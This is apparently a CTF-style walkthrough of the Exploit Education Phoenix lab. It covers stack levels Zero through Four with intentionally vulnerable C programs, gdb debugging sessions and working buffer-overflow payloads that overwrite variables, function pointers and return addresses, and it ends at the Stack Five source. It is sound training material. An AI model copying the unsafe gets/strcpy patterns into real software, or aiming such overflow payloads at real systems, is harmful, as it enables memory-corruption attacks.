Exploit Education Notes
The image can be downloaded from https://exploit.education/phoenix/, and can be extracted and executed using
1
2
3
tar xJf exploit-education-phoenix-amd64-v1.0.0-alpha-3.tar.xz
cd exploit-education-phoenix-amd64/
./boot-exploit-education-phoenix-amd64.sh
After running the QEMU image, you can ssh into the machine via ssh -p2222 user@localhost
Stack Zero
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
/*
* phoenix/stack-zero, by https://exploit.education
*
* The aim is to change the contents of the changeme variable.
*
* Scientists have recently discovered a previously unknown species of
* kangaroos, approximately in the middle of Western Australia. These
* kangaroos are remarkable, as their insanely powerful hind legs give them
* the ability to jump higher than a one story house (which is approximately
* 15 feet, or 4.5 metres), simply because houses can't can't jump.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define BANNER \
"Welcome to " LEVELNAME ", brought to you by https://exploit.education"
char *gets(char *);
int main(int argc, char **argv) {
struct {
char buffer[64];
volatile int changeme;
} locals;
printf("%s\n", BANNER);
locals.changeme = 0;
gets(locals.buffer);
if (locals.changeme != 0) {
puts("Well done, the 'changeme' variable has been changed!");
} else {
puts(
"Uh oh, 'changeme' has not yet been changed. Would you like to try "
"again?");
}
exit(0);
}
In the above code, a variable called buffer is initialized with 64 bytes, another locaal variable called change is also set. The gets
function is then used to take user input and store it without any bounds checking, which can be exploited using a Buffer Overflow.
This can be exploited by inserting 65 characters to overflow the buffer
variable.
1
2
3
4
user@phoenix-amd64:/opt/phoenix/amd64$ python -c 'print "A"*65' | ./stack-zero
Welcome to phoenix/stack-zero, brought to you by https://exploit.education
Well done, the 'changeme' variable has been changed!
user@phoenix-amd64:/opt/phoenix/amd64$
Stack One
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
/*
* phoenix/stack-one, by https://exploit.education
*
* The aim is to change the contents of the changeme variable to 0x496c5962
*
* Did you hear about the kid napping at the local school?
* It's okay, they woke up.
*
*/
#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define BANNER \
"Welcome to " LEVELNAME ", brought to you by https://exploit.education"
int main(int argc, char **argv) {
struct {
char buffer[64];
volatile int changeme;
} locals;
printf("%s\n", BANNER);
if (argc < 2) {
errx(1, "specify an argument, to be copied into the \"buffer\"");
}
locals.changeme = 0;
strcpy(locals.buffer, argv[1]);
if (locals.changeme == 0x496c5962) {
puts("Well done, you have successfully set changeme to the correct value");
} else {
printf("Getting closer! changeme is currently 0x%08x, we want 0x496c5962\n",
locals.changeme);
}
exit(0);
}
strcpy
is used which is dangerous because the source size could be more than destination size. In this challenge, the changeme
value nees to be set with a specific value 0x496c5962
This can be triggered using a payload such as python -c 'print "A"*64 + "\x62\x59\x6c\x49"'
which fills up the first 64 bytes with A and then sets the specific value 0x496c5962
1
2
3
4
user@phoenix-amd64:/opt/phoenix/amd64$ ./stack-one $(python -c 'print "A"*64 + "\x62\x59\x6c\x49"')
Welcome to phoenix/stack-one, brought to you by https://exploit.education
Well done, you have successfully set changeme to the correct value
user@phoenix-amd64:/opt/phoenix/amd64$
Stack Two
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
/*
* phoenix/stack-two, by https://exploit.education
*
* The aim is to change the contents of the changeme variable to 0x0d0a090a
*
* If you're Russian to get to the bath room, and you are Finnish when you get
* out, what are you when you are in the bath room?
*
* European!
*/
#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define BANNER \
"Welcome to " LEVELNAME ", brought to you by https://exploit.education"
int main(int argc, char **argv) {
struct {
char buffer[64];
volatile int changeme;
} locals;
char *ptr;
printf("%s\n", BANNER);
ptr = getenv("ExploitEducation");
if (ptr == NULL) {
errx(1, "please set the ExploitEducation environment variable");
}
locals.changeme = 0;
strcpy(locals.buffer, ptr);
if (locals.changeme == 0x0d0a090a) {
puts("Well done, you have successfully set changeme to the correct value");
} else {
printf("Almost! changeme is currently 0x%08x, we want 0x0d0a090a\n",
locals.changeme);
}
exit(0);
}
Same as the previous level, except user input is taken via an environment value.
1
ExploitEducation=$(python -c 'print "A"*64 + "\x0a\x09\x0a\x0d"')
Which then the stack-two
program will take.
1
2
3
4
user@phoenix-amd64:/opt/phoenix/amd64$ ExploitEducation=$(python -c 'print "A"*64 + "\x0a\x09\x0a\x0d"') ./stack-two
Welcome to phoenix/stack-two, brought to you by https://exploit.education
Well done, you have successfully set changeme to the correct value
user@phoenix-amd64:/opt/phoenix/amd64$
Stack Three
Stack Three looks at overwriting function pointers stored on the stack.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
/*
* phoenix/stack-three, by https://exploit.education
*
* The aim is to change the contents of the changeme variable to 0x0d0a090a
*
* When does a joke become a dad joke?
* When it becomes apparent.
* When it's fully groan up.
*
*/
#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define BANNER \
"Welcome to " LEVELNAME ", brought to you by https://exploit.education"
char *gets(char *);
void complete_level() {
printf("Congratulations, you've finished " LEVELNAME " :-) Well done!\n");
exit(0);
}
int main(int argc, char **argv) {
struct {
char buffer[64];
volatile int (*fp)();
} locals;
printf("%s\n", BANNER);
locals.fp = NULL;
gets(locals.buffer);
if (locals.fp) {
printf("calling function pointer @ %p\n", locals.fp);
fflush(stdout);
locals.fp();
} else {
printf("function pointer remains unmodified :~( better luck next time!\n");
}
exit(0);
}
This elf executable initializes the fp
variable to NULL which is a pointer, and gets a string from user input, saves it to the buffer
variable, fp
is called later as a function with whateever value that is stored.
1
2
3
4
5
6
7
8
9
10
user@phoenix-amd64:/opt/phoenix/amd64$ export PYTHONIOENCODING=utf-8
user@phoenix-amd64:/opt/phoenix/amd64$ gdb -q ./stack-three
GEF for linux ready, type `gef' to start, `gef config' to configure
71 commands loaded for GDB 8.2.1 using Python engine 3.5
[*] 2 commands could not be loaded, run `gef missing` to know why.
Reading symbols from ./stack-three...(no debugging symbols found)...done.
Python Exception <class 'UnicodeEncodeError'> 'ascii' codec can't encode character '\u27a4' in position 12: ordinal not in range(128):
(gdb) print complete_level
$1 = {<text variable, no debug info>} 0x40069d <complete_level>
Python Exception <class 'UnicodeEncodeError'> 'ascii' codec can't encode character '\u27a4' in position 12: ordinal not in range(128):
gdb can be used to print the address of the complete_level function (0x40069d). Our bof payload can now overwrite the 64 buffer characters and then that address can be used to jumpt to that function.
1
2
3
4
5
user@phoenix-amd64:/opt/phoenix/amd64$ python -c 'print "A"*64 + "\x9d\x06\x40"' | ./stack-three
Welcome to phoenix/stack-three, brought to you by https://exploit.education
calling function pointer @ 0x40069d
Congratulations, you've finished phoenix/stack-three :-) Well done!
user@phoenix-amd64:/opt/phoenix/amd64$
Stack Four
Stack Four takes a look at what can happen when you can overwrite the saved instruction pointer (standard buffer overflow).
Hints
The saved instruction pointer is not necessarily directly after the end of variable allocations β things like compiler padding can increase the size. Did you know that some architectures may not save the return address on the stack in all cases? GDB supports βrun < my_fileβ to direct input from my_file into the program.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
/*
* phoenix/stack-four, by https://exploit.education
*
* The aim is to execute the function complete_level by modifying the
* saved return address, and pointing it to the complete_level() function.
*
* Why were the apple and orange all alone? Because the bananna split.
*/
#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define BANNER \
"Welcome to " LEVELNAME ", brought to you by https://exploit.education"
char *gets(char *);
void complete_level() {
printf("Congratulations, you've finished " LEVELNAME " :-) Well done!\n");
exit(0);
}
void start_level() {
char buffer[64];
void *ret;
gets(buffer);
ret = __builtin_return_address(0);
printf("and will be returning to %p\n", ret);
}
int main(int argc, char **argv) {
printf("%s\n", BANNER);
start_level();
}
To complete this level, you need to overwrite the return address of start_level function to return to complete_level function instead of main. By providing a buffer larger than 64 bytes, we can overflow the saved instruction pointer.
1
2
3
4
5
6
7
8
ser@phoenix-amd64:/opt/phoenix/amd64$ gdb -q stack-four
GEF for linux ready, type `gef' to start, `gef config' to configure
71 commands loaded for GDB 8.2.1 using Python engine 3.5
[*] 2 commands could not be loaded, run `gef missing` to know why.
Reading symbols from stack-four...(no debugging symbols found)...done.
Python Exception <class 'UnicodeEncodeError'> 'ascii' codec can't encode character '\u27a4' in position 12: ordinal not in range(128):
(gdb) print complete_level
$1 = {<text variable, no debug info>} 0x40061d <complete_level>
The main() function can be disassembled to see which address will be stored on the stack after the start_level() function returns. The start_level() function can also be disassembled because Iβd like to place a break point right after the gets() function is called. That way we can see the user input being stored on the stack.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
user@phoenix-amd64:/opt/phoenix/amd64$ gdb stack-four
GNU gdb (GDB) 8.2.1
Copyright (C) 2018 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-pc-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
GEF for linux ready, type `gef' to start, `gef config' to configure
71 commands loaded for GDB 8.2.1 using Python engine 3.5
[*] 2 commands could not be loaded, run `gef missing` to know why.
Reading symbols from stack-four...(no debugging symbols found)...done.
Python Exception <class 'UnicodeEncodeError'> 'ascii' codec can't encode character '\u27a4' in position 12: ordinal not in range(128):
(gdb) disas main
Dump of assembler code for function main:
0x000000000040066a <+0>: push rbp
0x000000000040066b <+1>: mov rbp,rsp
0x000000000040066e <+4>: sub rsp,0x10
0x0000000000400672 <+8>: mov DWORD PTR [rbp-0x4],edi
0x0000000000400675 <+11>: mov QWORD PTR [rbp-0x10],rsi
0x0000000000400679 <+15>: mov edi,0x400750
0x000000000040067e <+20>: call 0x400480 <puts@plt>
0x0000000000400683 <+25>: mov eax,0x0
0x0000000000400688 <+30>: call 0x400635 <start_level>
0x000000000040068d <+35>: mov eax,0x0
0x0000000000400692 <+40>: leave
0x0000000000400693 <+41>: ret
End of assembler dump.
Python Exception <class 'UnicodeEncodeError'> 'ascii' codec can't encode character '\u27a4' in position 12: ordinal not in range(128):
(gdb) disas start_level
Dump of assembler code for function start_level:
0x0000000000400635 <+0>: push rbp
0x0000000000400636 <+1>: mov rbp,rsp
0x0000000000400639 <+4>: sub rsp,0x50
0x000000000040063d <+8>: lea rax,[rbp-0x50]
0x0000000000400641 <+12>: mov rdi,rax
0x0000000000400644 <+15>: call 0x400470 <gets@plt>
0x0000000000400649 <+20>: mov rax,QWORD PTR [rbp+0x8]
0x000000000040064d <+24>: mov QWORD PTR [rbp-0x8],rax
0x0000000000400651 <+28>: mov rax,QWORD PTR [rbp-0x8]
0x0000000000400655 <+32>: mov rsi,rax
0x0000000000400658 <+35>: mov edi,0x400733
0x000000000040065d <+40>: mov eax,0x0
0x0000000000400662 <+45>: call 0x400460 <printf@plt>
0x0000000000400667 <+50>: nop
0x0000000000400668 <+51>: leave
0x0000000000400669 <+52>: ret
End of assembler dump.
Python Exception <class 'UnicodeEncodeError'> 'ascii' codec can't encode character '\u27a4' in position 12: ordinal not in range(128):
(gdb)
The disassembly of the main() function shows that after the start_level() function returns, it will be execution at the address 0x0040068d. That can be examined in the stack. A break point can also be set at 0x400649 to verify this.
The βbufferβ variable with 64 characters. This can be filled with characters.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
(gdb) b *0x0000000000400649
Breakpoint 1 at 0x400649
Python Exception <class 'UnicodeEncodeError'> 'ascii' codec can't encode character '\u27a4' in position 12: ordinal not in range(128):
(gdb) run <<< $(python -c 'print "A" + "B"*62 + "C"')
Starting program: /opt/phoenix/amd64/stack-four <<< $(python -c 'print "A" + "B"*62 + "C"')
/bin/bash: warning: setlocale: LC_ALL: cannot change locale (en_US.UTF-8)
Welcome to phoenix/stack-four, brought to you by https://exploit.education
Breakpoint 1, 0x0000000000400649 in start_level ()
[ Legend: Modified register | Code | Heap | Stack | String ]
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ registers ββββ
$rax : 0x00007fffffffe510 β "ABBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB[...]"
$rbx : 0x00007fffffffe5d8 β 0x00007fffffffe801 β "/opt/phoenix/amd64/stack-four"
$rcx : 0x8080808080808080
(gdb) x/24x $sp
0x7fffffffe510: 0x42424241 0x42424242 0x42424242 0x42424242
0x7fffffffe520: 0x42424242 0x42424242 0x42424242 0x42424242
0x7fffffffe530: 0x42424242 0x42424242 0x42424242 0x42424242
0x7fffffffe540: 0x42424242 0x42424242 0x42424242 0x43424242
0x7fffffffe550: 0xffff0000 0x00007fff 0xffffe580 0x00007fff
0x7fffffffe560: 0xffffe580 0x00007fff 0x0040068d 0x00000000
1
2
3
4
5
6
7
8
9
10
(gdb) info frame
Stack level 0, frame at 0x7fffffffe570:
rip = 0x400649 in start_level; saved rip = 0x40068d
called by frame at 0x7fffffffe590
Arglist at 0x7fffffffe560, args:
Locals at 0x7fffffffe560, Previous frame's sp is 0x7fffffffe570
Saved registers:
rbp at 0x7fffffffe560, rip at 0x7fffffffe568
Python Exception <class 'UnicodeEncodeError'> 'ascii' codec can't encode character '\u27a4' in position 12: ordinal not in range(128):
(gdb)
- The return address care about is 0x0040068d
- This is at memory location 0x7fffffffe568
- start of the βbufferβ variable is at 0x7fffffffe510.
Gdb can be used to calculate how many bytes difference is between the return address and the buffer variable location.
1
2
(gdb) printf "%i\n", 0x7fffffffe568 - 0x7fffffffe510
88
This can now be used to complete the level.
1
2
3
4
5
user@phoenix-amd64:/opt/phoenix/amd64$ python -c 'print "A"*88 + "\x1d\x06\x40"' | ./stack-four
Welcome to phoenix/stack-four, brought to you by https://exploit.education
and will be returning to 0x40061d
Congratulations, you've finished phoenix/stack-four :-) Well done!
user@phoenix-amd64:/opt/phoenix/amd64$
Stack Five
As opposed to executing an existing function in the binary, this time weβll be introducing the concept of βshell codeβ, and being able to execute our own code.
Hints
- Donβt feel like you have to write your own shellcode just yet β thereβs plenty on the internet.
- If you wish to debug your shellcode, be sure to make use of the breakpoint instruction. On i386 / x86_64, thatβs 0xcc, and will cause a SIGTRAP.
- Make sure you remove those breakpoints after youβre done.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
/*
* phoenix/stack-five, by https://exploit.education
*
* Can you execve("/bin/sh", ...) ?
*
* What is green and goes to summer camp? A brussel scout.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define BANNER \
"Welcome to " LEVELNAME ", brought to you by https://exploit.education"
char *gets(char *);
void start_level() {
char buffer[128];
gets(buffer);
}
int main(int argc, char **argv) {
printf("%s\n", BANNER);
start_level();
}